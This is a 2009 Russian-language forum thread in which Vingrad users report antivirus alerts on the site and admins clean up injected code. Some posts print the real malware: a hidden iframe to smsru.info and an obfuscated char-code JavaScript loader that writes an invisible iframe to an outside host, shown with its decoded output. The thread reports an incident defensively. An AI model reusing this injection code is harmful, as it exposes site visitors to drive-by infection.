VPF::Форум пытается загрузить вирус!

Wowa

Дата 30.7.2009, 18:08 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Админ
Сообщений: 15017
Регистрация: 14.9.2000
Где: Винград

Репутация: 79
Всего: 290

Ребята, обязательно приводите линки на страницы, на которых ругается.

dimes

Дата 30.7.2009, 18:11 (ссылка)

(нет голосов)

Загрузка ...

Бывалый

Профиль
Группа: Участник
Сообщений: 249
Регистрация: 20.7.2004
Где: то около СПБ

Репутация: нет
Всего: 14

30.07.2009 19:07:47 http://forum.vingrad.ru/forum/s/c26af3c17d....html//forum-27 Opera Internet Browser Обнаружено: HEUR:Trojan.Script.Iframer

Проблема так и осталась

andrew_121

Дата 30.7.2009, 19:28 (ссылка)

(нет голосов)

Загрузка ...

Кодофей

Профиль
Группа: Завсегдатай
Сообщений: 3448
Регистрация: 3.1.2008

Репутация: нет
Всего: 33

Цитата(Wowa @ 30.7.2009, 18:08

)

Ребята, обязательно приводите линки на страницы, на которых ругается.

В разделе С++ на все подразделы ругается.

Добавлено через 2 минуты и 20 секунд
Кстати вчера было тихо.
Еще дней пять назад, чел, которому я переслал архив сказал что в нем вирус. У меня стоял НОД32, молчал как партизан. Поставил касперского, и окуел smile

--------------------

Удалил аккаунт. Прощайте!

Wowa

Дата 30.7.2009, 19:52 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Админ
Сообщений: 15017
Регистрация: 14.9.2000
Где: Винград

Репутация: 79
Всего: 290

а теперь?

mr.Anderson

Дата 30.7.2009, 20:01 (ссылка)

(нет голосов)

Загрузка ...

iOS Lead Developer

Профиль
Группа: Участник Клуба
Сообщений: 3374
Регистрация: 20.12.2004
Где: далеко

Репутация: 4
Всего: 128

О, я зашел. Ругался даже на главную страницу, а также ругался на сохранение данных в профайле. Сейчас второе проверю...

Добавлено через 1 минуту и 38 секунд
Проверил, с профилем полный порядок. Ну, по крайней мере, с его основной страницей и сохранением.

--------------------

andrew_121

Дата 30.7.2009, 23:07 (ссылка)

(голосов:1)

Загрузка ...

Кодофей

Профиль
Группа: Завсегдатай
Сообщений: 3448
Регистрация: 3.1.2008

Репутация: нет
Всего: 33

Все, тишина! Ура smile

Что было то? Просто любопытно.

--------------------

Удалил аккаунт. Прощайте!

Samotnik

Дата 3.8.2009, 08:26 (ссылка)

(нет голосов)

Загрузка ...

Super star !

Профиль
Группа: Awaiting Authorisation
Сообщений: 7192
Регистрация: 4.11.2006
Где: Минск City

Репутация: 11
Всего: 191

у меня нод все это время молчал как рыба .

Alexeis

Дата 3.8.2009, 10:22 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

Цитата(Samotnik @ 3.8.2009, 07:26

)

у меня нод все это время молчал как рыба .

Не хочется разводить холивар, но нод паршивенький антивирь. Домашняя и рабочая практика показала что он Nod частенько допускает заражения, в частности были проблемы с флешками и онлайн защитой. А VB100 он каждый раз покупает. Авира дает защиту лучше него. Не буду говорить что самую лучшую, потому что каждый антивирь имеет свои слабые и сильные стороны, но по выявлению от руткитов/win32/скриптовых он на лидирующих позициях. Нод любят за то что он тихий и не дает ложных срабатываний, но к сожалению, он не дает также и положительных срабатываний. Прекрасно сосуществует с троянами, и т.д.

Samotnik, советую проверить жесткий программой типа CureIt из под LiveCD. Шанс заразить машину у тебя был.

--------------------

Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать

s1lver

Дата 4.8.2009, 15:00 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 580
Регистрация: 14.12.2007
Где: Россия

Репутация: нет
Всего: нет

У меня ругается касперскии на главную страницу форума.

Вот из отчета каспера:

04.08.2009 14:37:21    Задача запущена    Kaspersky Internet Security        Анти-Фишинг
04.08.2009 17:51:21    Обнаружено: smsru.info/*    Firefox        http://smsru.info/sms/index.php    Базы
04.08.2009 17:51:21    Запрещено: smsru.info/*    Firefox        http://smsru.info/sms/index.php    Базы

опять эта ерунда на главной странице

04.08.2009 18:09:12    Обнаружено: smsru.info/*    Firefox        http://smsru.info/sms/index.php    Базы
04.08.2009 18:09:12    Запрещено: smsru.info/*    Firefox        http://smsru.info/sms/index.php    Базы

Код


<iframe src="http://smsru.info/sms/index.php" style="display:none"></iframe>"
<link rel="alternate" type="application/rss+xml" title='RSS - Винграда, раздел:"ASM,
<iframe src="http://smsru.info/sms/index.php" style="display:none"></iframe>""' href="rss/forums/4.xml" />

Достало уже smile

Это сообщение отредактировал(а) s1lver - 4.8.2009, 15:56

--------------------

Я собрался жить вечно - пока все идет нормально!

Wowa

Дата 4.8.2009, 20:49 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Админ
Сообщений: 15017
Регистрация: 14.9.2000
Где: Винград

Репутация: 79
Всего: 290

Убрал. Если еще заметите, то пишите.

bems

Дата 3.10.2009, 16:39 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: нет
Всего: 88

У меня снова срабатывание.

Вирус: Nutcracker family
Топик: http://forum.vingrad.ru/forum/topic-275280.html

Не уверен, но кажется сообщение появилосб когда я попытался проголосовать против стартового поста темы.

Это сообщение отредактировал(а) bems - 3.10.2009, 16:40

--------------------

Обижено школьников: 8

Wowa

Дата 3.10.2009, 16:48 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Админ
Сообщений: 15017
Регистрация: 14.9.2000
Где: Винград

Репутация: 79
Всего: 290

у меня срабатывания нет

bems

Дата 3.10.2009, 16:52 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: нет
Всего: 88

Когда я ответил "прервать соединение", и повторил попытку то тоже срабатывания уже не было.
Возможно это какая-то переменная часть ссылки голосования попала под сигнатуру

--------------------

Обижено школьников: 8

Michael.de

Дата 28.10.2009, 04:49 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 346
Регистрация: 22.3.2005
Где: Deutschland

Репутация: нет
Всего: 9

Проверял час назад папку "C:\ ... \Temporary Internet Files\Content.IE5". KIS 2009 нашёл во временных подпапках несколько разл. *.htm с одинаковым трояном: "Virus HEUR: Trojan.Script.Iframer". Если интересно, вот его (чуть обработанный для лучшего чтения) код:

Код


<script type="text/javascript">
var src = "|60|105|102|114|97|109|101|32|119|105|100|116|104|61|34|48|34|32|104|101|105|103|104|116|61|34|48|34|32|115|114|99|61|34|104|116|116|112|58|47|47|103|111|111|103|108|101|45|115|101|97|114|99|104|115|46|99|111|109|47|105|110|46|99|103|105|63|100|101|102|97|117|108|116|34|32|115|116|121|108|101|61|34|98|111|114|100|101|114|58|48|112|120|59|32|112|111|115|105|116|105|111|110|58|114|101|108|97|116|105|118|101|59|32|116|111|112|58|48|112|120|59|32|108|101|102|116|58|45|53|48|48|112|120|59|32|111|112|97|99|105|116|121|58|48|59|32|102|105|108|116|101|114|58|112|114|111|103|105|100|58|68|88|73|109|97|103|101|84|114|97|110|115|102|111|114|109|46|77|105|99|114|111|115|111|102|116|46|65|108|112|104|97|40|111|112|97|99|105|116|121|61|48|41|59|32|45|109|111|122|45|111|112|97|99|105|116|121|58|48|34|62|60|47|105|102|114|97|109|101|62";
var arr = src.split("|");
var out1 = "";
for (var i=1; i<arr.length; i++){
 out1+=String.fromCharCode(arr[i]);
}
var out2 = ""+out1+"";
document.write(""+out2+"")
</script>

и результат его работы:

Код


<iframe width="0" height="0" src="http://google-searchs.com/in.cgi?default" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>

Все файлы ~ от 3-4 октября, т.е. совпадает по времени с

Цитата(bems @ 3.10.2009, 16:39

)

У меня снова срабатывание.

Если администрации нужно, могу эти *.htm файлы прислать (запароленный *.rar, иначе касперыч его "убивает") smile

Alexeis

Дата 29.10.2009, 15:28 (ссылка)

(голосов:1)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

Michael.de, какая страница форума? Ссылка?

--------------------

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Обсуждение форума \| Следующая тема »